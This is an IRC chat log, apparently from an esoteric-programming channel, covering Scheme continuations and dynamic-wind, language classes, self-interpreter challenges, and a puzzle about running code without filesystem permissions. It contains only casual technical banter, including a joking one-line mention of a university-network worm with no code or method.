18:46:54 <fizzie> (Unless it is... the RoutaPhone.)
18:47:25 <elliott> I want a RoutaPhone.
18:47:30 -!- sebbu2 has joined.
18:49:15 <fizzie> fi:routa == en:frost.
18:49:46 <elliott> FROSTPHONE
18:50:19 -!- sebbu has quit (Ping timeout: 240 seconds).
18:50:54 <fizzie> "Does your iPhone keep exploding in the cold? Get the new FrostPhone! Guaranteed to survive down to ten kelvins."
18:51:05 <kfr> Somebody make elliott unignore me, I am too cheap to advance the address in the configuration by one to change the hostmask :[
18:53:03 <kfr> I dearly miss his words of wisdom
18:56:42 <elliott> fizzie: BTW, what *is* that strange tunnel system under your house in the old mine?
18:56:44 <elliott> Mine tunnels?
18:58:29 <fizzie> Hmm?
18:58:43 <fizzie> Is this the right channel? :p
18:58:59 <elliott> fizzie: Er.
18:58:59 <fizzie> If you mean the things spaced three blocks apart, those are mine tunnels.
18:59:02 <elliott> Right.
18:59:24 <fizzie> Also act as shortcuts, the wide-tunnel route has a detour there.
18:59:28 <fizzie> Not that I ever go thataway.
19:00:47 -!- Lymia has joined.
19:00:49 -!- Lymia has quit (Changing host).
19:00:49 -!- Lymia has joined.
19:01:41 <ais523> hi Lymia
19:02:01 <variable> http://blog.regehr.org/archives/370 -> of interest to people here
19:02:15 -!- Lymia__ has quit (Ping timeout: 240 seconds).
19:04:07 <ais523> variable: indeed; I sort-of have the opposite problem: you have an algorithm that's proven correct, how do you translate it into software in such a way that you know it's still correct after the translation?
19:04:54 <variable> ais523, by using a trusted translator :-)
19:05:27 <ais523> I'm not sure if there are any that take mathematical papers as input
19:05:46 <ais523> doing it that way round is definitely easier than proving an existing program, though
19:05:51 <variable> verification is useful for very specific subsets of software - namely core software that will run mission-critical that is unlikely to change
19:06:06 -!- Lymia_ has joined.
19:07:05 <ais523> I like that article's suggestion that verifiers should output machine-readable proofs of the program
19:07:10 <elliott> <ais523> variable: indeed; I sort-of have the opposite problem: you have an algorithm that's proven correct, how do you translate it into software in such a way that you know it's still correct after the translation?
19:07:11 <elliott> <variable> ais523, by using a trusted translator :-)
19:07:11 <elliott> <ais523> I'm not sure if there are any that take mathematical papers as input
19:07:13 <elliott> ais523: do it in Coq :)
19:07:17 <elliott> then extract to Haskell
19:07:27 <elliott> <ais523> I like that article's suggestion that verifiers should output machine-readable proofs of the program
19:07:30 <elliott> see frama-c/why/etc
19:07:31 <elliott> *etc.
19:07:35 -!- Mathnerd314 has joined.
19:07:38 <elliott> they output to Coq
19:09:02 -!- Lymia has quit (Ping timeout: 240 seconds).
19:10:22 -!- impomatic has joined.
19:15:12 <Lymia_> It's not like I'm particpating in this conversation. :v
19:15:14 -!- Lymia_ has changed nick to Lymia.
19:15:15 -!- Lymia has quit (Changing host).
19:15:15 -!- Lymia has joined.
19:15:46 <ais523> Lymia: don't worry too much, there are lots of conversations I don't participate in too
19:16:04 <Lymia> I'm commenting on elliott's copy/paste more than anything.
19:16:12 <Lymia> Maybe I'm confused as to what s/he meant to do.
19:16:55 <variable> so FSM accept regular languages; PDA accept context free; and TM accept anything ?
19:16:55 -!- asiekierka has quit (Remote host closed the connection).
19:17:11 <ais523> Lymia: elliott wanted to reply to me, and was trying to give enough context that I knew what the replies meant
19:17:32 <elliott> Lymia: it's called logreading :)
19:17:44 <ais523> it was replying to something that happened much earlier
19:17:49 <Ilari> Context free ones need nondeterministic PDA.
19:19:36 <variable> Ilari are there any language types which FSM can't accept but D-PDA can ?
19:19:53 <ais523> variable: sexps
19:20:26 <variable> ais523, reading them now
19:20:32 <Ilari> variable: For instance the classic a^n b^n language....
19:20:57 <variable> so it goes regular - sexp - cfa - * == FSM - D-PDA - U-PDA - TM
19:21:20 <ais523> oh, I was using sexps as a specific example, rather than a general class
19:21:30 <variable> ais523, is there some general class ?
19:21:38 <ais523> I'm not sure what the general name of languages matched by deterministic PDAs is
19:21:54 <variable> I'm pissed off at my college - we don't deal with this stuff *ever*
19:22:01 * variable has to learn it online
19:22:02 -!- sftp_ has quit (Remote host closed the connection).
19:22:19 -!- augur has quit (Remote host closed the connection).
19:22:54 <ais523> I think deterministic-PDA is the class matched by recursive regular expressions
19:23:31 <Ilari> Recursive regular expressions?
19:23:55 <ais523> Ilari: regular expressions, except you're allowed to define them recursively
19:24:09 <ais523> e.g. R = (aR*b)
19:24:24 -!- sftp has joined.
19:24:31 <variable> oh - I've had this idea for a long time - and was wondering if its true
19:24:45 <ais523> in fact, they don't even need the * operator as you can do that with recursion, just alternation
19:24:55 <Ilari> Note that if you add operator to regular expressions that matches anything some subexpression of the whole can match (including if referencing subexpression it is itself in), the result will be class of all CFGs.
19:25:12 <variable> anything that could be defined recursively could be implemented in a non-rescursive manner
19:25:41 <variable> Ilari -> CFG ?
19:25:54 <variable> Context free ?
19:25:59 <Ilari> AFAIK, any context-free language can be written that way.
19:26:09 <ais523> Ilari: really? that would surprise me
19:26:13 <ais523> although it isn't obviously false
19:26:38 <ais523> <variable> anything that could be defined recursively could be implemented in a non-rescursive manner <-- indeed, but you need more power than regular expressions provide to be able to do so
19:26:57 <variable> ais523, yes - just a thought I've had.
19:27:02 <variable> curious - is there a proof for this?
19:27:21 <ais523> that regular expressions can't do recursion? yes, although I don't know it offhand
19:27:30 <variable> ais523, no - my idea
19:27:41 <ais523> or that you can do recursion in an imperative language? it's basically done by emulating a stack by hand
19:27:48 <variable> ais523, yes - exactly
19:28:04 <ais523> I think you can probably do it with continuations instead
19:28:09 <variable> continuations ?
19:28:47 <ais523> let's see... a continuation represents the current state of a program, in such a way that you can rewind the program to there and get it to continue differently
19:29:18 <variable> like the series of steps that it took to get there rather than just the state ?
19:29:29 <ais523> hmm, not really, it's just the state
19:29:40 <ais523> but the idea is that you're making a choice when you create a continuation
19:29:49 <variable> any links I could read?
19:29:58 <ais523> e.g. the usual way to create one is a call-with-current-continuation operator, which calls an arbitrary function with a continuation as its argument
19:30:09 <ais523> and if the continuation is ever called, instead of doing that, returns the value it was called with
19:30:10 <ais523> let me find one
19:30:31 <ais523> http://www.madore.org/~david/computers/callcc.html
19:30:53 <variable> I'll read it in a bit - and come back here with Qs
19:30:57 * variable is busy for it
19:31:00 <variable> *for a bit
19:32:44 <ais523> hmm, something awesome my supervisor did: finding counterexamples to security proofs in programs by doing things that were just completely outside what the proof assumed
19:33:14 <ais523> e.g. saying there was a security bug in a protocol that used a callback function, triggered by calling fork() in the callback and doing different things in the two halves
19:33:30 <ais523> I'm pretty sure he used call/cc for a similar demonstration
19:33:41 <ais523> I'm not sure if there was much /point/ in doing this, but it was nonetheless hilarious
19:33:50 <ais523> (especially as the person who wrote the proofs was in the room at the time)
19:35:58 <ais523> "Think of a setjmp() function that would not have this limitation and you have a good approximation of call/cc. If you adhere to a stack-based paradigm of computation, or things to work in all cases we would need a full copy of the stack as per getcontext()."
19:36:09 <ais523> hmm, that's actually how I implemented continuations in C-INTERCAL, IIRC
19:36:32 <ais523> by using INTERCAL's getcontext() equivalent (to be more precise, forking and spinlocking, which comes to much the same thing except much more inefficiently)
19:40:55 <fizzie> There's also a community-scheme-wiki call/cc explanation article.
19:40:58 <fizzie> I'm not saying it's anygood.
19:41:21 <ais523> the article I linked is the one I learned call/cc from
19:41:30 <ais523> it's a weird concept at first, but it becomes really natural after a while
19:41:31 <fizzie> http://community.schemewiki.org/?call-with-current-continuation is the Wiki one.
19:41:48 <fizzie> It does the usual "start with exit continuations, build from there" thing I've seen elsewhere too.
19:42:17 <fizzie> http://community.schemewiki.org/?category-learning-scheme has links to three others, including one explanation for C programmers.
19:42:21 <elliott> fizzie: You so Schemer.
19:42:25 <elliott> Why isn't mcmap written in Scheme? :p
19:42:26 <fizzie> I don't vouch for the quality of any of these.
19:43:21 <ais523> well, Scheme is sort-of famous for continuations
19:43:33 <fizzie> "Here's the secret: it's setjmp/longjmp.
19:43:33 <fizzie> But on no account say that to any Scheme programmers you know, it'll send them into paroxysms of rage as they tell you you don't know what you're talking about. Oh, and if you're a Scheme programmer who's accidentally stumbled on this page then please, please, stop reading now, for the sake of your blood pressure."
19:43:45 <ais523> most languages don't really have them at all, Scheme has them in their standard library
19:43:51 <elliott> ais523: not in its stdlib
19:43:53 <elliott> ais523: in its language core
19:43:57 <ais523> oh, right
19:43:57 <elliott> it has no stdlib :P
19:44:04 <ais523> well, that is the stdlib then, effectively
19:44:40 <fizzie> R5RS has a concept of "library procedure" as opposed to "procedure".
19:44:43 <elliott> ais523: Scheme /also/ has DYNAMIC-WIND, meaning that the exact semantics of its control flow can kill small animals and children under the age of six.
19:44:53 <fizzie> The former have reference implementations in terms of the latter, I think.
19:44:54 <elliott> fizzie: Yes, but it's just "technically optional procedure", no?
19:44:58 <elliott> Ah.
19:45:16 <fizzie> But call/cc is a "procedure" not a "library procedure".
19:45:26 <fizzie> Well, sensibly.
19:46:03 <elliott> ais523: The best thing about Scheme is that map can either be tail-recursive, work properly with call/cc, or only iterate through the list once -- pick two.
19:46:03 <fizzie> "To aid in understanding and implementing Scheme, some features are marked as library. These can be easily implemented in terms of the other, primitive, features. They are redundant in the strict sense of the word, but they capture common patterns of usage, and are therefore provided as convenient abbreviations."
19:46:03 <ais523> what does dynamic-wind do?
19:46:21 <elliott> ais523: (dynamic-wind before f after) is the same as (f), except that:
19:46:21 <ais523> something that much more insane than call/cc sounds like something I should definitely learn about
19:46:27 <elliott> - before f is called, before is called
19:46:29 <elliott> - after f is called, after is called
19:46:34 <elliott> - whenever control flow enters f, before is called
19:46:37 <elliott> - whenever control flow exits f, after is called
19:46:46 <elliott> the latter two including by call-with-current-continuation
19:46:59 <elliott> ais523: this is benign without call/cc, but with it, it's a gigantic headache
19:47:00 <ais523> aha, I was wondering why that was insane, apart from the last bit
19:47:01 <fizzie> Since I have the page open already for the earlier quote, let's have that too.
19:47:04 <fizzie> " * The dynamic extent is entered when execution of the body of the called procedure begins.
19:47:04 <fizzie> * The dynamic extent is also entered when execution is not within the dynamic extent and a continuation is invoked that was captured (using call-with-current-continuation) during the dynamic extent.
19:47:04 <fizzie> * It is exited when the called procedure returns.
19:47:04 <fizzie> * It is also exited when execution is within the dynamic extent and a continuation is invoked that was captured while not within the dynamic extent."
19:47:31 <elliott> ais523: http://sisc-scheme.org/r5rs_pitfall.php
19:47:32 <elliott> [[Jeff Siskind points out that its possible to be both call/cc and tail recursive, but the example he cites uses reverse after processing the list. So map can be:
19:47:33 <elliott> Tail-recursive
19:47:33 <elliott> Resistant to call/cc interference
19:47:33 <elliott> O(1*n)
19:47:35 <elliott> Pick two. In the above table, we've noted when a system is resistant to call/cc effects, and labeled systems that we know are tail recursive because the implementor has said so. Others in the list may be tail recursive.]]
19:47:45 <ais523> so basically, it installs event handlers for call/cc-based gotos into and out of the functions
19:47:49 <elliott> (O(1*n) is a horrible abuse of notation, but it's obvious what it means here)
19:47:54 <elliott> ais523: that's such a... C way of thinking about it
19:48:13 <elliott> SISC, btw, takes the call/cc and tail-recursive route, and thus map iterates over the list twice
19:48:17 <ais523> elliott: indeed; slipping to a lower or higher level of abstraction often makes something easier to think about
19:48:20 <elliott> but then, SISC is rather anal about standards-compliance
19:48:21 <fizzie> So I can make a system tail-recursive simply by "saying so"?-)
19:48:22 <elliott> even by Scheme standards
19:48:26 <elliott> fizzie: YEP!
19:48:39 <elliott> Looks like Scheme48's map isn't tail-recursive. :p
19:49:21 <elliott> hmm, SISC isn't in Ubuntu?
19:49:33 <elliott> oh, it is in Natty
19:49:40 <elliott> I'll steal the .deb >:)
19:50:16 <fizzie> At least dynamic-unwind forbids you from jumping into the before/after handlers by means of continuations captured while inside.
19:50:19 <ais523> is map supposed to be resistant to call/cc interference?
19:50:25 <ais523> fizzie: boring
19:50:38 <elliott> <ais523> is map supposed to be resistant to call/cc interference?
19:50:40 <ais523> surely the correct semantics in such a case is to call the handler recursively?
19:50:41 <elliott> every function is, pretty much
19:50:57 <elliott> you should be able to call-with-current-continuation from anywhere, and call a continuation to anywhere
19:51:01 <elliott> and have it work
19:51:05 <ais523> elliott: oh, you mean map doesn't act like a naive implementation of map would if you call/cc out of it, then back into it again later?
19:51:24 <elliott> ais523: indeed
19:51:29 <ais523> ouch
19:51:31 <elliott> at least, that's my understanding of the situation
19:51:58 <ais523> now I'm trying to figure out why going through the list twice would help
19:52:19 -!- Behold has joined.
19:53:13 <elliott> ais523: you reverse it at the end
19:53:19 <ais523> oh
19:53:21 <elliott> "Jeff Siskind points out that its possible to be both call/cc and tail recursive, but the example he cites uses reverse after processing the list."
19:53:42 <ais523> perhaps if you had both cons and anticons that consed in the other direction?
19:53:48 <elliott> presumably, since SISC's map is both call/cc-worky and tail recursive, you could just look at its source to figure it out
19:53:50 <ais523> although that'd make pretty much every algo /but/ map insane
19:53:50 <elliott> ais523: that wouldn't work
19:53:59 <elliott> ais523: Scheme's lists aren't linked like that
19:54:03 <elliott> they're just singly linked
19:54:06 <elliott> because they're based on pairs
19:54:12 <ais523> no, I mean still based on pairs
19:54:14 <fizzie> Well, anticons cells would be backwards lists, presumably.
19:54:17 <elliott> well, right
19:54:22 -!- BeholdMyGlory has quit (Ping timeout: 276 seconds).
19:54:25 <elliott> update-alternatives: using /usr/share/sisc/srfi-22.sh to provide /usr/bin/scheme-r4rs (scheme-r4rs) in auto mode.
19:54:25 <elliott> update-alternatives: using /usr/share/sisc/srfi-22.sh to provide /usr/bin/scheme-r5rs (scheme-r5rs) in auto mode.
19:54:25 <elliott> update-alternatives: using /usr/share/sisc/srfi-22.sh to provide /usr/bin/scheme-srfi-0 (scheme-srfi-0) in auto mode.
19:54:25 <elliott> update-alternatives: using /usr/share/sisc/srfi-22.sh to provide /usr/bin/scheme-srfi-7 (scheme-srfi-7) in auto mode.
19:54:27 <elliott> update-alternatives: using /usr/share/sisc/srfi-22.sh to provide /usr/bin/scheme-srfi-55 (scheme-srfi-55) in auto mode.
19:54:30 <ais523> just cons is (head . tail) and uncons is (all-but-last . last)
19:54:30 <elliott> update-alternatives: using /usr/share/sisc/srfi-22.sh to provide /usr/bin/scheme-ieee-1178-1900 (scheme-ieee-1178-1900) in auto mode.
19:54:35 <elliott> scheme-ieee-1178-1900
19:54:37 <elliott> ridiculousy
19:54:40 <elliott> *ridiculous
19:54:52 <ais523> hmm, that's anticons, not uncons
19:54:58 <ais523> uncons makes a list into a pair, presumably
19:55:09 <fizzie> Unicons is (horse . horn).
19:55:20 <ais523> hmm, interesting mental exercise: figure out in which languages Prolog's =.. is sane, and in which it's insane
19:55:28 <elliott> heh, SISC actually has a .deb for it on its website
19:55:36 <ais523> semantics of =.. are best described by example: [func, a, b] =.. func(a,b)
19:55:38 <elliott> what does =.. do again?
19:55:39 <elliott> ah
19:55:43 <ais523> and ofc as it's Prolog, it works both ways round
19:55:46 <elliott> ais523: homoiconic languages
19:55:53 <ais523> yep, definitely sane in those
19:56:08 <ais523> it works fine in Lisps, too, =.. is just eval
19:56:32 <ais523> C I'm having trouble with
19:56:47 <ais523> I think it fails there, specifically due to the length of the list not being known in advance
19:56:56 <ais523> although you can do it for any known tuple just fine
19:57:07 <elliott> aargh, distributing source code as a .jar
19:57:13 <elliott> that's worse than Hitler
19:57:16 <elliott> Hitler didn't even do that
19:57:42 <ais523> elliott: what if I distribute binary inside the same .jar?
19:57:54 <elliott> ais523: aargh
19:57:54 <ais523> it seems like a really easy way to meet the GPL's distribute-source requirement
19:58:04 <ais523> it's how I ship jettyplay, a binary+source jar
19:58:06 <fizzie> Our AI course uses source-in-.jar, but that's just so that the people can return a single file (with binary classes for the competition system and sources for me) built by the default build system.
19:58:14 -!- impomatic has quit (Read error: Connection reset by peer).
19:58:21 -!- augur has joined.
19:58:29 <ais523> fizzie: my Java course uses source-in-.zip
19:58:39 <olsner> is the default build system ant?
19:59:04 <Deewiant> fizzie: Do you actually look at the sources?
19:59:05 <fizzie> olsner: Yes, I may have meant "default build file" there though.
19:59:13 <olsner> poor souls
19:59:35 <ais523> find | xargs javac is still my default build system
19:59:45 <fizzie> olsner: Many (most?) don't even notice, since they use the also-provided Eclipse project that automagically takes care of invoking it.
19:59:59 <ais523> when not using NetBeans (which I use mostly because we teach it and I need to know what I'm teaching, although it's pretty nice as Java IDEs go)
20:00:00 <fizzie> (And even if they don't, it's just one command; they don't actually have to deal with Ant at all.)
20:00:22 <fizzie> Deewiant: Ho-hum, well, really cursorily if at all, unless I have some sort of a reason.
20:00:23 <elliott> <ais523> find | xargs javac is still my default build system
20:00:23 <olsner> if ant must be involved, that is certainly the best way to do it :)
20:00:29 <elliott> doesn't javac MyProgram.java work?
20:00:33 <elliott> and compile dependencies?
20:00:42 <ais523> hmm, I'm not sure
20:00:55 <ais523> I thought it only compiled dependencies if the .class files were entirely absent
20:01:43 <fizzie> olsner: I do need to put some metainformation in the generated .jars and things like that. And at least it works for all the people who do things on a Windows/Eclipse platform, unlike, say, a Makefile.
20:02:00 <ais523> checking the man page, it doesn't compile dependencies at all; if the .class file is absent for a dependency, it compiles the source enough to typecheck the rest of the program, but discards the resulting compiled info
20:02:11 <fizzie> Deewiant: Did you take the course at some point and/or were you taking it now and/or did you actually already graduate and/or are you still in Otaniemi anyway?
20:02:18 <elliott> `addquote <fizzie> Deewiant: Did you take the course at some point and/or were you taking it now and/or did you actually already graduate and/or are you still in Otaniemi anyway?
20:02:31 <fizzie> Well, you never know.
20:02:32 <Deewiant> Now.
20:02:38 <HackEgo> 284) <fizzie> Deewiant: Did you take the course at some point and/or were you taking it now and/or did you actually already graduate and/or are you still in Otaniemi anyway?
20:02:48 <ais523> Deewiant: that's a pretty ambiguous answer to a question that general
20:02:54 <fizzie> Deewiant: Well, Friday's my annual "here's how you do the programming project" lecture.
20:02:55 <ais523> although not as bad as "yes"
20:03:02 <fizzie> (I should probably update last year's slides.)
20:03:07 <ais523> so fizzie's going to be lecturing to Deewiant?
20:03:14 <Deewiant> Only if I'm going to be there.
20:03:18 <fizzie> Right.
20:03:25 <ais523> Deewiant: surely you are, if there's a chance to meet fizzie?
20:03:36 <fizzie> He's seen me before, and the sight is not an impressive one.
20:03:41 <elliott> ais523: they go to the same university, and they don't seem particularly EXCITED to meet
20:03:51 <ais523> I mean, if I discovered one of my lectures was going to be held by elliott, I'd definitely try to make sure I didn't miss it
20:03:53 <Deewiant> I was at fizzie's master's thesis presentation, but I don't think I've talked to him.
20:03:54 <elliott> Although maybe it's just SO EXCITING that they CAN'T PUT IT INTO WORDS.
20:03:57 <elliott> ais523: haha
20:03:59 <elliott> ais523: I'll get to work on that
20:04:03 <Deewiant> I've seen him around the building every now and then.
20:04:10 <elliott> ais523: do you think I could just go up and ask them to let me deliver a lecture?
20:04:13 <ais523> (other way round is rather more plausible, ofc)
20:04:21 <fizzie> Deewiant: I've probably seen you too, but I still don't exactly recognize you.
20:04:28 <elliott> ais523: Psht, don't be so sure of yourself!
20:04:37 <ais523> elliott: I once annoyed one of my lecturers into saying something along the lines of "if you're so smart, you take the lecture" as an undergraduate, and I responded by actually taking the lecture for about half a minute
20:04:45 <ais523> until they realised I wasn't bluffing and told me to go and sit down again
20:04:51 <elliott> :D
20:04:54 <elliott> that is amazing
20:05:13 <ais523> I don't think I took it very /well/, but I still think it's hilarious
20:05:32 <fizzie> Deewiant: I also ended up being the one who handles the "Machine Learning: Advanced Probabilistic Methods" course exercise sessions from next Friday on, but I guess that's not in your course schedule.
20:05:49 <Deewiant> Nope.
20:05:52 <elliott> You Finns, so lonesome.
20:05:58 <elliott> hmm, what's the adjective form of "loner"?
20:06:11 <fizzie> The course lecturer was all "oh but teaching is so nice, you should try it, do you want to give out one or two of the lectures too?"
20:06:35 <fizzie> I was tempted to ask "if it's so nice, how come you don't want to do those by yourself?"
20:06:57 <ais523> elliott: it is indeed "lonesome"
20:07:04 <ais523> or "lonely", if you prefer
20:07:08 <elliott> ais523: doesn't really work, though
20:07:12 <ais523> although that probably has a slightly different meaning
20:07:14 <elliott> hmm, what, a license block at the _end_ of a file? :)
20:07:48 <elliott> ais523: would you like to take the Pixley Challenge?
20:08:08 <ais523> probably not, but I lack sufficient information to make sure
20:08:08 <Lymia> Do you people know eachother?
20:08:34 <ais523> only via #esoteric
20:08:34 <elliott> Lymia: yes
20:08:38 <fizzie> Yes, we've been on the same IRC channel.
20:08:39 <elliott> (we may be using a different definition of "know")
20:08:47 <ais523> but you get to know someone quite well after talking to them for over a year
20:08:48 <elliott> this is a pretty close community :P
20:08:50 <ais523> even if you never meet in person
20:08:53 <Lymia> Know-in-real-life-know.
20:08:54 <Lymia> =p
20:09:21 <fizzie> The Finnish contigent has some real-life knowingship going on too, I guess. But not much.
20:09:32 <elliott> ais523: The Pixley Challenge is one I invented, despite the name.
20:10:17 <ais523> I'm not actually sure what Pixley is
20:10:33 <elliott> ais523: The challenge is: Invent a (Turing-complete) language specifically designed to make a (non-cheating) self-interpreter as small/short as possible, while also making non-self-interpreters short (i.e. you can't make the most expressive language in the world that it can interpret itself in five lines, because e.g. a Scheme, Haskell or C implementation of it would take hundreds of thousands of lines)
20:10:48 <elliott> ais523: Pixley is Chris Pressey's very-stripped-down Scheme subset: http://catseye.tc/projects/pixley/doc/website_pixley.html
20:10:53 <elliott> The self-interpreter is:
20:10:54 <elliott> http://catseye.tc/projects/pixley/src/pixley.pix
20:10:59 <elliott> (and this also functions as a Scheme interpreter of the language.)
20:11:10 <elliott> He implemented (at least most of) it in C and it was rpetty short.
20:11:11 <elliott> *pretty
20:11:15 <elliott> But that self-interpreter is very small, of course.
20:11:15 <ais523> I take it the Underload self-interp doesn't count?
20:11:33 <elliott> ais523: that counts as cheating :)
20:11:34 <ais523> hmm, the question of which non-TC-langs can self-interp without cheating is also pretty interesting
20:11:48 <elliott> And that Pixley interpreter I wrote isn't metacircular in an important way
20:11:52 <elliott> it implements car/cdr/etc. itself
20:11:53 <Lymia> elliott, sounds fun.
20:11:54 <elliott> rather than relying on the host system
20:11:58 <elliott> which, I think, should count as a requirement
20:12:10 <elliott> (it represents lists as Pixley/Scheme lists and functions as Pixley/Scheme functions, though, which is metacircular and also fine)
20:12:15 <ais523> elliott: well, in a sense, Feather's all about being metacircular wrt everything
20:12:19 <elliott> (but relying on your host to implement the actual primitives is cheating)
20:12:27 <elliott> ais523: well, the idea is to invent a new language to do it :)
20:12:36 <elliott> Choosing a subset of another language, like Pixley, is of course allowed.
20:12:41 <elliott> Lymia: it is; it's quite difficult, though
20:12:58 <elliott> I made a different Scheme subset with a self-interpreter shorter than Pixley's, but then I realised the self-interpreter didn't do recursion
20:13:02 <elliott> and it'd be very hard to make it allow recursion
20:13:03 <elliott> so I gave up
20:13:12 <elliott> (the interpreter itself was recursive)
20:13:32 <ais523> elliott: remember your lang dei?
20:13:48 <elliott> ais523: underload sans ()?
20:13:49 <elliott> yes, i do
20:13:50 <ais523> I think I'd start with something similar to that, and then add some reasonably rich I/O primitives
20:14:03 <elliott> ais523: dei needs an actual unputchar to do IO
20:14:07 <elliott> well, sanely
20:14:08 <ais523> also, change the commands to numbers
20:14:36 <ais523> I'm assuming the I/O's allowed to be metacircular?
20:14:46 <elliott> ais523: yes, of course... but I'd recommend not having IO at all
20:14:55 <ais523> how else would I read in the input program without cheating?
20:14:56 <elliott> ais523: it's perfectly OK if your interpreter takes the program as an argument
20:15:01 <elliott> like http://catseye.tc/projects/pixley/src/pixley.pix does
20:15:06 <elliott> in fact, depending on your language, it's OK to take it pre-parsed
20:15:13 <ais523> ah, well the problem is how to represent the argument
20:15:22 <elliott> e.g., writing a Pixley reader is no great feat at all, and Lisp EVALs always take an object, not a string
20:15:26 <elliott> so the Pixley interpreter takes an object, too
20:15:29 <fizzie> Deewiant: This year I'm going to be feeding the tournament match results in real time into the course IRC channel. (Well, probably, anyway. Assuming I can find any place to run the tournament on.)
20:15:39 <elliott> fizzie: this IRC channel too, please!
20:15:40 <ais523> into #esoteric-blah too?
20:15:49 <elliott> naw, plain #esoteric, this channel's activity has been declining rapidly
20:15:52 <elliott> thanks to Minecraft
20:15:55 <ais523> elliott: I love the way I had the same idea but automatically picked the spam channel
20:16:01 <elliott> :)
20:16:08 <Deewiant> fizzie: Just use Triton
20:16:32 <elliott> fizzie: can *I* enter?!?!?!
20:17:06 <Deewiant> Presumably yes
20:17:33 <elliott> i thought it was finn-only
20:17:51 <Deewiant> I'm sure there are non-Finns taking the course
20:18:10 <ais523> hmm, hilarious semi-trolling idea: look for random universities that teach programming-related courses, and happen to hold a competition for whatever reason
20:18:22 <ais523> and have the rules online without being behind a password wall
20:18:33 <fizzie> Deewiant: It feels so frivolous. And my existing scripts won't work with slurm. :/
20:18:36 <ais523> then submit entries yourself despite not being on the course (email to the person in charge of the course would do)
20:18:50 <elliott> Deewiant: i'm not taking the course :P
20:19:04 <elliott> fizzie: What the fuck are you talking about.
20:19:08 <elliott> <Deewiant> fizzie: Just use Triton <fizzie> Deewiant: It feels so frivolous. And my existing scripts won't work with slurm. :/
20:19:12 <fizzie> You can always just flunk out after the competition.
20:19:24 <fizzie> elliott: Triton's one of our clusters, running on the SLURM job manager thing.
20:19:39 <elliott> <oerjan>O KAY</oerjan>
20:19:53 <Deewiant> fizzie: Remind me where you ran them previously; just around the CS building?
20:20:00 <fizzie> Anyway, people are doing Actual Research(tm) on Triton, I'd feel pretty silly queuing in ~1400 CPU-hours of student-made boardgame bots playing against each other.
20:20:11 <Deewiant> 1400 CPU-hours is nothing
20:20:21 <elliott> :D
20:20:28 <elliott> fizzie is so afraid of things.
20:20:29 <ais523> what about running them all on one GPU?
20:20:29 <Deewiant> That's like two bug fixes for me
20:20:35 <ais523> (</my boss>)
20:20:48 <fizzie> Triton itself doesn't have more than ~1400 cores, that's like taking over the whole thing for an hour.
20:20:55 <elliott> <fizzie> I'm not sure if I should kick these 20 viagra spammer bots from #esoteric, I'm scared of power.
20:21:06 <elliott> <fizzie> Are you _sure_ I can run "ls" on the university servers? They might crash or something.
20:21:08 <fizzie> Deewiant: I ran them at one of HUT-CC's classrooms (once at Maari, once at the main building), but now that they've gone all WaveU, the workstations are no longer reachable.
20:21:21 <Deewiant> fizzie: Right, so your scripts don't work anyway. :-P
20:21:24 <ais523> elliott: well, I was very confused yesterday when I tried to run ls and found it didn't work
20:21:32 <ais523> then I tried to cd to my home dir, and found I didn't have permission
20:21:36 <elliott> ais523: THAT'S LIKE A NIGHTMARE
20:21:45 <elliott> ais523: did you fix it with only shell builtins? please say yse
20:21:48 <elliott> *yes
20:21:48 <ais523> then I found that I didn't have permission to open any programs either, also the taskbar crashed
20:21:53 <elliott> hmm, shells should come with gcc built-in, just in case
20:21:57 <Deewiant> fizzie: But you know, you don't need to take over the whole thing for an hour, you can take over a part of it for 24 hours or whatever.
20:21:57 <ais523> actually I didn't fix it at all, it magically fixed itself after a while
20:21:58 <fizzie> Deewiant: They work on anything that I can SSH into if I just list the hostnames. The HUT-CC folks told me to run everything on kosh, but that's just a single (if a rather beefy) machine.
20:22:06 <ais523> elliott: *pcc?
20:22:15 <ais523> it's much lighter-weight, and you hardly need optimisation in that situation
20:22:17 <elliott> ais523: no, gcc! what if the only way to chmod you know of is gcc-specific?
20:22:23 <elliott> ais523: also, might as well go all the way, tcc
20:22:27 <ais523> but even a C compiler wouldn't help if you couldn't write the output files anyway
20:22:32 <elliott> tcc is actually reasonably embeddable...
20:22:41 <elliott> ais523: pipe to an fd?
20:22:46 <elliott> i guess executing an fd might be hard
20:22:48 <ais523> hmm, that might work
20:22:53 <fizzie> Deewiant: Also the real-time reporting works much better with the current system that reads the player-made moves in real time via the SSH connection; polling for NFS-shared files is ugly, as would be some custom cluster-node initiated networking. (Can you even get out from there anywhere?)
20:23:02 <ais523> but I didn't have r, w, or x to anything on the system, nor did anyone else
20:23:07 <ais523> and I was trying to mark code at the time
20:23:14 <ais523> I don't think it was an /actual/ chmod -R 000
20:23:18 <elliott> #esoteric task of the day: assume you can enter machine code into a shell; how can you run a program if you can't write to the fs at all?
20:23:20 <elliott> including /tmp
20:23:21 <ais523> but it was something that had similar effects
20:23:24 <elliott> and can't mount any filesystems iether
20:23:25 <Deewiant> fizzie: You'd have to go via the frontend, I think.
20:23:26 <elliott> *either
20:23:46 <elliott> fizzie: just run it on my laptop, i don't mind!
20:23:57 <elliott> it'll only take five yeras
20:23:58 <elliott> *years
20:24:29 <Deewiant> elliott: Assuming Linux, does something like /lib/ld-linux* <(cat) count
20:24:34 <fizzie> Deewiant: I could ask about the CS building computer classes (or is that class now, is there anything else left than Paniikki?) but those are some pretty unreliable machines.
20:24:40 <elliott> Deewiant: yep
20:24:45 <elliott> Deewiant: except no
20:24:49 <elliott> because that's not +x
20:24:58 <elliott> and nor, I doubt, is <(cat)
20:25:06 <Deewiant> /lib/ld-linux* is +x
20:25:09 <Deewiant> <(cat) might not be
20:25:13 <elliott> (I'm not sure <() would even be able to write the file, although I suppose /dev/fd is probably always writable like that)
20:25:17 <elliott> <Deewiant> /lib/ld-linux* is +x
20:25:18 <elliott> no, it's not
20:25:26 <elliott> you don't have read, write, or execute permissions
20:25:51 <Deewiant> You didn't say that.
20:26:12 <elliott> well, poo. :p
20:27:05 <fizzie> Can you write over /proc/self/mem in general? The proc man page seems to suggest it's read-only.
20:27:18 <Deewiant> fizzie: Researchers' workstations are the typical ad-hoc cluster, I suppose.
20:28:10 <fizzie> Deewiant: Maybe, but it's a CS department's course, not ICS, so I can't use ours. Maybe I should speak to some of the CS people, in fact.
20:28:12 <Ilari> /proc/<pid>/mem is not writable for any process.
20:28:29 <elliott> fizzie: just write a worm that travels across the university network and uses everybody's machine for small amounts of computation
20:28:33 <elliott> it's like a gigantic cluster that's all yours
20:29:48 <Ilari> IIRC, unless compiled with special option, the write code for /proc/<pid>/mem files always returns an error.
20:30:24 <fizzie> The proc man page here says open, read and lseek are the only valid things you can do on it.
